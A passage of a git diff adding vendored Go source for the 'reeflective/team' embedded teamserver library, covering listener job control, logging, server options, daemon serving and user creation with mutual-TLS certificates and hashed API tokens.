storing users CA PEM files as backup, +// (~/.app/teamserver/certs), either on-disk or in-memory if the teamserver is. +func (ts *Server) CertificatesDir() string { + certDir := path.Join(ts.TeamDir(), assets.DirCerts) + + err := ts.fs.MkdirAll(certDir, log.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", certDir, err) + } + + return certDir +} + +// When creating a new server, don't write anything to anywhere yet, +// but ensure that at least all directories to which we are supposed +// to write do indeed exist, and make them anyway. +// If any error happens it will returned right away and the creator +// of the teamserver will know right away that it can't work correctly. +func (ts *Server) checkWritableFiles() error { + if ts.opts.inMemory { + return nil + } + + // Check home application directory. + // If it does not exist but we don't have write permission + // on /user/home, we return an error as we can't work. + appDirWrite, err := log.IsWritable(ts.TeamDir()) + + switch { + case os.IsNotExist(err): + if homeWritable, err := log.IsWritable(os.Getenv("HOME")); !homeWritable { + return fmt.Errorf("Cannot create %w", err) + } + case err != nil: + return fmt.Errorf("Cannot write to %w", err) + case !appDirWrite: + return ErrDirectoryUnwritable + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/server/errors.go b/vendor/github.com/reeflective/team/server/errors.go new file mode 100644 index 0000000000..e050c35e00 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/errors.go @@ -0,0 +1,83 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // + // Filesystem errors. + // + + // ErrDirectory is an error related to directories used by the teamserver. + ErrDirectory = errors.New("teamserver directory") + + // ErrDirectoryUnwritable is an error returned when the teamserver checked for write permissions + // on a directory path it needs, and that the Go code of the teamserver has determined that the + // file is really non-user writable. This error is NEVER returned "because the path does not exist". + ErrDirectoryUnwritable = errors.New("The directory seems to be unwritable (to the app runtime)") + + // ErrLogging is an error related with the logging backend. + // Some errors can be about writable files/directories. + ErrLogging = errors.New("logging") + + // ErrSecureRandFailed indicates that the teamserver could not read from the system secure random source. + ErrSecureRandFailed = errors.New("failed to read from secure rand") + + // + // Teamserver core errors. + // + + // ErrConfig is an error related to the teamserver configuration. + ErrConfig = errors.New("teamserver config") + + // ErrDatabaseConfig is an error related to the database configuration. + ErrDatabaseConfig = errors.New("teamserver database configuration") + + // ErrDatabase is an error raised by the database backend. + ErrDatabase = errors.New("database") + + // ErrTeamServer is an error raised by the teamserver core code. + ErrTeamServer = errors.New("teamserver") + + // ErrCertificate is an error related to the certificate infrastructure. + ErrCertificate = errors.New("certificates") + + // ErrUserConfig is an error related to users (teamclients) configuration files. + ErrUserConfig = errors.New("user configuration") + + // ErrUnauthenticated indicates that a client user could not authenticate itself, + // whether at connection time, or when requesting server-side features/info. + ErrUnauthenticated = errors.New("User authentication failure") + + // + // Listener errors. + // + + // ErrNoListener indicates that the server could not find any listener/server + // stack to run when one of its .Serve*() methods were invoked. If such an error + // is raised, make sure you passed a server.Listener type with WithListener() option. + ErrNoListener = errors.New("the teamserver has no listeners to start") + + // ErrListenerNotFound indicates that for a given ID, no running or persistent listener could be found. + ErrListenerNotFound = errors.New("no listener exists with ID") + + // ErrListener indicates an error raised by a listener stack/implementation. + ErrListener = errors.New("teamserver listener") +) diff --git a/vendor/github.com/reeflective/team/server/jobs.go b/vendor/github.com/reeflective/team/server/jobs.go new file mode 100644 index 0000000000..3841dec05d --- /dev/null +++ b/vendor/github.com/reeflective/team/server/jobs.go @@ -0,0 +1,227 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "net" + "sync" +) + +// job - Manages background jobs. +type job struct { + ID string + Name string + Description string + kill chan bool + Persistent bool +} + +// jobs - Holds refs to all active jobs. +type jobs struct { + active *sync.Map +} + +func newJobs() *jobs { + return &jobs{ + active: &sync.Map{}, + } +} + +// Add - Add a job to the hive (atomically). +func (j *jobs) Add(listener *job) { + j.active.Store(listener.ID, listener) +} + +// Get - Get a Job. +func (j *jobs) Get(jobID string) *job { + if jobID == "" { + return nil + } + + val, ok := j.active.Load(jobID) + if ok { + return val.(*job) + } + + return nil +} + +// Listeners returns a list of all running listener jobs. +// If you also want the list of the non-running, persistent +// ones, use the teamserver Config(). +func (ts *Server) Listeners() []*job { + all := []*job{} + + // Active listeners + ts.jobs.active.Range(func(key, value interface{}) bool { + all = append(all, value.(*job)) + return true + }) + + return all +} + +// AddListenerJob adds a teamserver listener job to the teamserver configuration. +// This function does not start the given listener, and you must call the server +// ServeAddr(name, host, port) function for this. +func (ts *Server) ListenerAdd(name, host string, port uint16) error { + listener := struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{ + Name: name, + Host: host, + Port: port, + ID: getRandomID(), + } + + if listener.Name == "" && ts.self != nil { + listener.Name = ts.self.Name() + } + + ts.opts.config.Listeners = append(ts.opts.config.Listeners, listener) + + return ts.SaveConfig(ts.opts.config) +} + +// RemoveListenerJob removes a server listener job from the configuration. +// This function does not stop any running listener for the given ID: you +// must call server.CloseListener(id) for this. +func (ts *Server) ListenerRemove(listenerID string) { + if ts.opts.config.Listeners == nil { + return + } + + defer ts.SaveConfig(ts.opts.config) + + var listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } + + for _, listener := range ts.opts.config.Listeners { + if listener.ID != listenerID { + listeners = append(listeners, listener) + } + } + + ts.opts.config.Listeners = listeners +} + +// ListenerClose closes/stops an active teamserver listener by ID. +// This function can only return an ErrListenerNotFound if the ID +// is invalid: all listener-specific options are logged instead. +func (ts *Server) ListenerClose(id string) error { + listener := ts.jobs.Get(id) + if listener == nil { + return ts.errorf("%w: %s", ErrListenerNotFound, id) + } + + listener.kill <- true + + return nil +} + +// ListenerStartPersistents attempts to start all listeners saved in the teamserver +// configuration file, looking up the listener stacks in its map and starting them +// for each bind target. +// If the teamserver has been passed the WithContinueOnError() option at some point, +// it will log all errors raised by listener stacks will still try to start them all. +func (ts *Server) ListenerStartPersistents() error { + var listenerErrors error + + log := ts.NamedLogger("teamserver", "listeners") + + if ts.opts.config.Listeners == nil { + return nil + } + + for _, ln := range ts.opts.config.Listeners { + handler := ts.handlers[ln.Name] + if handler == nil { + handler = ts.self + } + + if handler == nil { + if !ts.opts.continueOnError { + return ts.errorf("Failed to find handler for `%s` listener (%s:%d)", ln.Name, ln.Host, ln.Port) + } + + continue + } + + err := ts.serve(handler, ln.ID, ln.Host, ln.Port) + + if err == nil { + continue + } + + log.Errorf("Failed to start %s listener (%s:%d): %s", ln.Name, ln.Host, ln.Port, err) + + if !ts.opts.continueOnError { + return err + } + + listenerErrors = errors.Join(listenerErrors, err) + } + + return nil +} + +func (ts *Server) addListenerJob(listenerID, name, host string, port int, ln net.Listener) { + log := ts.NamedLogger("teamserver", "listeners") + + if listenerID == "" { + listenerID = getRandomID() + } + + laddr := host + if port != 0 { + laddr = fmt.Sprintf("%s:%d", laddr, port) + } + + if laddr == "" { + laddr = "runtime" + } + + listener := &job{ + ID: listenerID, + Name: name, + Description: laddr, + kill: make(chan bool), + } + + go func() { + <-listener.kill + + // Kills listener goroutines but NOT connections. + log.Infof("Stopping teamserver %s listener (%s)", name, listener.ID) + ln.Close() + + ts.jobs.active.LoadAndDelete(listener.ID) + }() + + ts.jobs.active.Store(listener.ID, listener) +} diff --git a/vendor/github.com/reeflective/team/server/log.go b/vendor/github.com/reeflective/team/server/log.go new file mode 100644 index 0000000000..24a81c60c4 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/log.go @@ -0,0 +1,141 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (ts *Server) NamedLogger(pkg, stream string) *logrus.Entry { + return ts.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogLevel sets the logging level of teamserver loggers (excluding audit ones). +func (ts *Server) SetLogLevel(level int) { + if ts.stdioLog == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + ts.stdioLog.SetLevel(logrus.Level(uint32(level))) + + // Also Change the file-based logging level: + // - If they app runs a memfs, this wont have any effect. + // - If the user wants to debug anyway, better two sources than one. + if ts.fileLog != nil { + ts.fileLog.SetLevel(logrus.Level(uint32(level))) + } +} + +// AuditLogger returns a special logger writing its event entries to an audit +// log file (default audit.json), distinct from other teamserver log files. +// Listener implementations will want to use this for logging various teamclient +// application requests, with this logger used somewhere in your listener middleware. +func (ts *Server) AuditLogger() (*logrus.Logger, error) { + if ts.opts.inMemory || ts.opts.noLogs { + return ts.log(), nil + } + + // Generate a new audit logger + auditLog, err := log.NewAudit(ts.fs, ts.LogsDir()) + if err != nil { + return nil, ts.errorf("%w: %w", ErrLogging, err) + } + + return auditLog, nil +} + +// Initialize loggers in files/stdout according to options. +func (ts *Server) initLogging() (err error) { + // By default, the stdout logger is never nil. + // We might overwrite it below if using our defaults. + // ts.stdoutLogger = log.NewStdio(logrus.WarnLevel) + + logFile := filepath.Join(ts.LogsDir(), log.FileName(ts.Name(), true)) + + // If the teamserver should log to a given file. + if ts.opts.logFile != "" { + logFile = ts.opts.logFile + } + + // Ensure all teamserver-specific directories are writable. + // if err := ts.checkWritableFiles(); err != nil { + // return fmt.Errorf("%w: %w", ErrDirectory, err) + // } + + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if ts.opts.logger != nil { + ts.fileLog = ts.opts.logger + return nil + } + + level := logrus.Level(ts.opts.config.Log.Level) + + // Create any additional/configured logger and related/missing hooks. + ts.fileLog, ts.stdioLog, err = log.Init(ts.fs, logFile, level) + if err != nil { + return err + } + + return nil +} + +// log returns a non-nil logger for the server: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (ts *Server) log() *logrus.Logger { + if ts.fileLog == nil { + return ts.stdioLog + } + + return ts.fileLog +} + +func (ts *Server) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + ts.log().Error(logged) + + return logged +} + +func (ts *Server) errorWith(log *logrus.Entry, msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + + if log != nil { + log.Error(logged) + } else { + ts.log().Error(logged) + } + + return logged +} diff --git a/vendor/github.com/reeflective/team/server/options.go b/vendor/github.com/reeflective/team/server/options.go new file mode 100644 index 0000000000..97a26e7f16 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/options.go @@ -0,0 +1,236 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "strings" + + "github.com/reeflective/team/internal/db" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +// Options are server options. +// With these you can set/reset or modify the behavior of a teamserver +// at various stages of its lifetime, or when performing some specific +// actions. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files and database +// backends, while the latter includes listeners/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + logFile string + local bool + noLogs bool + inMemory bool + continueOnError bool + + config *Config + dbConfig *db.Config + db *gorm.DB + logger *logrus.Logger + listeners []Listener +} + +// default in-memory configuration, ready to run. +func newDefaultOpts() *opts { + options := &opts{ + config: getDefaultServerConfig(), + local: false, + } + + return options +} + +func (ts *Server) apply(options ...Options) { + for _, optFunc := range options { + optFunc(ts.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + ts.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(ts.name))) + if homeDir != "" { + ts.homeDir = homeDir + } else { + ts.homeDir = ts.opts.homeDir + } + + // User-defined database. + if ts.opts.db != nil { + ts.db = ts.opts.db + } + }) + + // Load any listener backends any number of times. + for _, listener := range ts.opts.listeners { + ts.handlers[listener.Name()] = listener + } + + // Make the first one as the default if needed. + if len(ts.opts.listeners) > 0 && ts.self == nil { + ts.self = ts.opts.listeners[0] + } + + // And clear the most recent listeners passed via options. + ts.opts.listeners = make([]Listener, 0) +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the filesystem. +// This applies to logging, but will also to any forward feature using files. +// +// Implications on database backends: +// By default, all teamservers use sqlite3 as a backend, and thus will run a +// database in memory. All other databases are assumed to be unable to do so, +// and this option will thus trigger an error whenever the option is applied, +// whether it be at teamserver creation, or when it does start listeners. +// +// This option can only be used once, and must be passed to server.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithDefaultPort sets the default port on which the teamserver should start listeners. +// This default is used in the default daemon configuration, and as command flags defaults. +// The default port set for teamserver applications is port 31416. +// +// This option can only be used once, and must be passed to server.New(). +func WithDefaultPort(port uint16) Options { + return func(opts *opts) { + opts.config.DaemonMode.Port = int(port) + } +} + +// WithDatabase sets the server database to an existing database. +// Note that it will run an automigration of the teamserver types (certificates and users). +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabase(db *gorm.DB) Options { + return func(opts *opts) { + opts.db = db + } +} + +// WithDatabaseConfig sets the server to use a database backend with a given configuration. +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabaseConfig(config *db.Config) Options { + return func(opts *opts) { + opts.dbConfig = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed to server.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamserver +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and must be passed to server.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamserver logging should be done. +// The default path is ~/.app/teamserver/logs/app.teamserver.log. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamserver to use a specific logger for +// all logging, except the audit log which is indenpendent. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Server network/RPC options *** +// + +// WithListener registers a listener/server stack with the teamserver. +// The teamserver can then serve this listener stack for any number of bind +// addresses, which users can trigger through the various server.Serve*() methods. +// +// It accepts an optional list of pre-serve hook functions: +// These should accept a generic object parameter which is none other than the +// serverConn returned by the listener.Serve(ln) method. These hooks will +// be very useful- if not necessary- for library users to manipulate their server. +// See the server.Listener type documentation for details. +// +// This option can be used multiple times, either when using +// team/server.New() or with the different server.Serve*() methods. +func WithListener(ln Listener) Options { + return func(opts *opts) { + if ln == nil { + return + } + + opts.listeners = append(opts.listeners, ln) + } +} + +// WithContinueOnError sets the server behavior when starting persistent listeners +// (either automatically when calling teamserver.ServeDaemon(), or when using +// teamserver.StartPersistentListeners()). +// If true, an error raised by a listener will not prevent others to try starting, and +// errors will be joined into a single one, separated with newlines and logged by default. +// The teamserver has this set to false by default. +// +// This option can be used multiple times. +func WithContinueOnError(continueOnError bool) Options { + return func(opts *opts) { + opts.continueOnError = continueOnError + } +} diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go new file mode 100644 index 0000000000..27f04b743d --- /dev/null +++ b/vendor/github.com/reeflective/team/server/server.go @@ -0,0 +1,263 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "os" + "os/signal" + "regexp" + "runtime/debug" + "syscall" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" +) + +// Listener represents a teamserver listener stack. +// Any type implementing this interface can be served and controlled +// by a team/server.Server core, and remote clients can connect to it +// with the appropriate/corresponding team/client.Dialer backend. +// +// Errors: all errors returned by the listener interface methods are considered critical, +// (except the Close() error one), and thus will stop the listener start/server process +// when raised. Thus, you should only return errors that are critical to the operation +// of your listener. You can use the teamserver loggers to log/print non-critical ones. +type Listener interface { + // Name returns the name of the "listener/server/RPC" stack + // of this listener, eg. "gRPC" for a gRPC listener, "myCustomHTTP" + // for your quick-and-dirty custom stack, etc. + // Note that this name is used as a key by the teamserver to store the + // different listener stacks it may use, so this name should be unique + // among all listener stacks registered to a given teamserver runtime. + Name() string + + // Init is used by the listener to access the core teamserver, needed for: + // - Fetching server-side transport/session-level credentials. + // - Authenticating users connections/requests. + // - Using the builtin teamserver loggers, filesystem and other utilities. + // Any non-nil error returned will abort the listener starting process. + Init(s *Server) error + + // Listen is used to create and bind a network listener to some address + // Implementations are free to handle incoming connections the way they + // want, since they have had access to the server in Init() for anything + // related they might need. + // As an example, the gRPC default transport serves a gRPC server on this + // listener, registers its RPC services, and returns the listener for the + // teamserver to wrap it in job control. + // This call MUST NOT block, just like the normal usage of net.Listeners. + Listen(addr string) (ln net.Listener, err error) + + // Close should close the listener stack. + // This can mean different things depending on use case, but some are not recommended. + // - It can simply close the "listener" layer without shutting down the "server/RPC" layer. + // - It can shutdown anything, thus in effect disconnecting all of its clients from server. + Close() error +} + +// Serve attempts the default listener of the teamserver (which is either +// the first one to have been registered, or the only one registered at all). +// It the responsibility of any teamclients produced by the teamserver.Self() +// method to call their Connect() method: the server will answer. +func (ts *Server) Serve(cli *client.Client, opts ...Options) error { + if ts.self == nil { + return ErrNoListener + } + + // Some errors might come from user-provided hooks, + // so we don't wrap errors again, our own errors + // have been prepared accordingly in this call. + err := ts.serve(ts.self, "", "", 0, opts...) + if err != nil { + return err + } + + return cli.Connect(client.WithLocalDialer()) +} + +// ServeDaemon is a blocking call which starts the teamserver as daemon process, using +// either the provided host:port arguments, or the ones found in the teamserver config. +// This function will also (and is the only one to) start all persistent team listeners. +// +// It blocks by waiting for a syscal.SIGTERM (eg. CtrlC on Linux) signal. Upon receival, +// the teamserver will close the main listener (the daemon one), but not persistent ones. +// +// Errors raised by closing the listener are wrapped in an ErrListener, logged and returned. +func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err error) { + log := ts.NamedLogger("daemon", "main") + + // cli args take president over config + if host == blankHost { + host = ts.opts.config.DaemonMode.Host + log.Debugf("No host specified, using config file default: %s", host) + } + + if port == blankPort { + port = uint16(ts.opts.config.DaemonMode.Port) + log.Debugf("No port specified, using config file default: %d", port) + } + + defer func() { + if r := recover(); r != nil { + log.Errorf("panic:\n%s", debug.Stack()) + } + }() + + // Start the listener. + log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port) + + listenerID, err := ts.ServeAddr(ts.self.Name(), host, port, opts...) + if err != nil { + return err + } + + // Now that the main teamserver listener is started, + // we can start all our persistent teamserver listeners. + // That way, if any of them collides with our current bind, + // we just serve it for him + hostPort := regexp.MustCompile(fmt.Sprintf("%s:%d", host, port)) + + err = ts.ListenerStartPersistents() + if err != nil && hostPort.MatchString(err.Error()) { + log.Errorf("Error starting persistent listeners: %s", err) + } + + done := make(chan bool) + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + + go func() { + <-signals + log.Infof("Received SIGTERM, exiting ...") + + err = ts.ListenerClose(listenerID) + if err != nil { + log.Errorf("%s: %s", ErrListener, err) + } + done <- true + }() + <-done + + return err +} + +// ServeAddr attempts to serve a listener stack identified by "name" (the listener should be registered +// with the teamserver with WithListener() option), on a given host:port address, with any provided option. +// If returns either a critical error raised by the listener, or the ID of the listener job, for control. +func (ts *Server) ServeAddr(name string, host string, port uint16, opts ...Options) (id string, err error) { + // If server was not initialized yet, do it. + // This at least will update any listener/server-specific options. + err = ts.init(opts...) + if err != nil { + return "", ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Ensure we have at least one available listener. + handler := ts.handlers[name] + + if handler == nil { + handler = ts.self + } + + if handler == nil { + return "", ErrNoListener + } + + // Generate the listener ID now so we can return it. + listenerID := getRandomID() + + err = ts.serve(handler, listenerID, host, port, opts...) + + return listenerID, err +} + +// serve will attempt to serve a given listener/server stack to a given (host:port) address. +// If the ID parameter is empty, a job ID for this listener will be automatically generated. +// Any errors raised by the listener itself are considered critical and returned wrapped in a ListenerErr. +func (ts *Server) serve(ln Listener, ID, host string, port uint16, opts ...Options) error { + log := ts.NamedLogger("teamserver", "handler") + + // If server was not initialized yet, do it. + // This has no effect redundant with the ServeAddr() method. + err := ts.init(opts...) + if err != nil { + return ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Let the handler initialize itself: load everything it needs from + // the server, configuration, fetch certificates, log stuff, etc. + err = ln.Init(ts) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // Now let the handler start listening on somewhere. + laddr := fmt.Sprintf("%s:%d", host, port) + + // This call should not block, serve the listener immediately. + listener, err := ln.Listen(laddr) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // The server is running, so add a job anyway. + ts.addListenerJob(ID, ln.Name(), host, int(port), listener) + + return nil +} + +// Handlers returns a copy of its teamserver listeners map. +// This can be useful if you want to start them with the server ServeListener() method. +// Or -but this is not recommended by this library- to use those listeners without the +// teamserver driving the init/start/serve/stop process. +func (ts *Server) Handlers() map[string]Listener { + handlers := make(map[string]Listener, len(ts.handlers)) + + for name, handler := range ts.handlers { + handlers[name] = handler + } + + return handlers +} + +func (ts *Server) init(opts ...Options) error { + var err error + + // Always reaply options, since it could be used by different listeners. + ts.apply(opts...) + + ts.initServe.Do(func() { + // Database configuration. + if err = ts.initDatabase(); err != nil { + return + } + + // Load any relevant server configuration: on disk, + // contained in options, or the default one. + ts.opts.config = ts.GetConfig() + + // Certificate infrastructure, will make the code panic if unable to work properly. + certsLog := ts.NamedLogger("certs", "certificates") + ts.certs = certs.NewManager(ts.fs, ts.dbSession(), certsLog, ts.Name(), ts.TeamDir()) + }) + + return err +} diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go new file mode 100644 index 0000000000..f1ec242520 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/users.go @@ -0,0 +1,279 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/hex" + "errors" + "fmt" + "regexp" + "sync" + "time" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" +) + +var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars + +// UserCreate creates a new teamserver user, with all cryptographic material and server remote +// endpoints needed by this user to connect to us. +// +// Certificate files and the API authentication token are saved into the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserCreate(name string, lhost string, lport uint16) (*client.Config, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + if !namePattern.MatchString(name) { + return nil, ts.errorf("%w: invalid user name (alphanumerics only)", ErrUserConfig) + } + + if name == "" { + return nil, ts.errorf("%w: user name required ", ErrUserConfig) + } + + if lhost == "" { + return nil, ts.errorf("%w: invalid team server host (empty)", ErrUserConfig) + } + + if lport == blankPort { + lport = uint16(ts.opts.config.DaemonMode.Port) + } + + rawToken, err := ts.newUserToken() + if err != nil { + return nil, ts.errorf("%w: %w", ErrUserConfig, err) + } + + digest := sha256.Sum256([]byte(rawToken)) + dbuser := &db.User{ + Name: name, + Token: hex.EncodeToString(digest[:]), + } + + err = ts.dbSession().Save(dbuser).Error + if err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + publicKey, privateKey, err := ts.certs.UserClientGenerateCertificate(name) + if err != nil { + return nil, ts.errorf("%w: failed to generate certificate %w", ErrCertificate, err) + } + + caCertPEM, _, _ := ts.certs.GetUsersCAPEM() + config := client.Config{ + User: name, + Token: rawToken, + Host: lhost, + Port: int(lport), + CACertificate: string(caCertPEM), + PrivateKey: string(privateKey), + Certificate: string(publicKey), + } + + return &config, nil +} + +// UserDelete deletes a user and its cryptographic materials from +// the teamserver database, clearing the API auth tokens cache. +// +// WARN: This function has two very precise effects/consequences: +// 1. The server-side Mutual TLS configuration obtained with server.GetUserTLSConfig() +// will refuse all connections using the deleted user TLS credentials, returning +// an authentication failure. +// 2. The server.AuthenticateUser(token) method will always return an ErrUnauthenticated +// error from the call, because the delete user is not in the database anymore. +// +// Thus, it is up to the users of this library to use the builting teamserver TLS +// configurations in their teamserver listener / teamclient dialer implementations. +// +// Certificate files, API authentication token are deleted from the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserDelete(name string) error { + if err := ts.initDatabase(); err != nil { + return ts.errorf("%w: %w", ErrDatabase, err) + } + + err := ts.dbSession().Where(&db.User{ + Name: name, + }).Delete(&db.User{}).Error + if err != nil { + return err + } + + // Clear the token cache so that all requests from + // connected clients of this user are now refused. + ts.userTokens = &sync.Map{} + + return ts.certs.UserClientRemoveCertificate(name) +} + +// UserAuthenticate accepts a raw 128-bits long API Authentication token belonging to the +// user of a connected/connecting teamclient. The token is hashed and checked against the +// teamserver users database for the matching user. +// This function shall alternatively return: +// - The name of the authenticated user, true for authenticated and no error. +// - No name, false for authenticated, and an ErrUnauthenticated error. +// - No name, false for authenticated, and a database error, if was ignited now. +// +// This call updates the last time the user has been seen by the server. +func (ts *Server) UserAuthenticate(rawToken string) (name string, authorized bool, err error) { + if err := ts.initDatabase(); err != nil { + return "", false, ts.errorf("%w: %w", ErrDatabase, err) + } + + log := ts.NamedLogger("server", "auth") + log.Debugf("Authorization-checking user token ...") + + // Check auth cache + digest := sha256.Sum256([]byte(rawToken)) + token := hex.EncodeToString(digest[:]) + + if name, ok := ts.userTokens.Load(token); ok { + log.Debugf("Token in cache!") + ts.updateLastSeen(name.(string)) + return name.(string), true, nil + } + + user, err := ts.userByToken(token) + if err != nil || user == nil { + return "", false, ts.errorf("%w: %w", ErrUnauthenticated, err) + } + + ts.updateLastSeen(user.Name) + + log.Debugf("Valid user token for %s", user.Name) + ts.userTokens.Store(token, user.Name) + + return user.Name, true, nil +} + +// UsersTLSConfig returns a server-side Mutual TLS configuration struct, ready to run. +// The configuration performs all and every verifications that the teamserver should do, +// and peer TLS clients (teamclient.Config) are not allowed to choose any TLS parameters. +// +// This should be used by team/server.Listeners at the net.Listener/net.Conn level. +// As for all errors of the teamserver API, any error returned here is defered-logged. +func (ts *Server) UsersTLSConfig() (*tls.Config, error) { + log := ts.NamedLogger("certs", "mtls") + + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + caCertPtr, _, err := ts.certs.GetUsersCA() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to get users certificate authority: %w", ErrCertificate, err) + } + + caCertPool := x509.NewCertPool() + caCertPool.AddCert(caCertPtr) + + _, _, err = ts.certs.UserServerGetCertificate() + if errors.Is(err, certs.ErrCertDoesNotExist) { + if _, _, err := ts.certs.UserServerGenerateCertificate(); err != nil { + return nil, ts.errorWith(log, err.Error()) + } + } 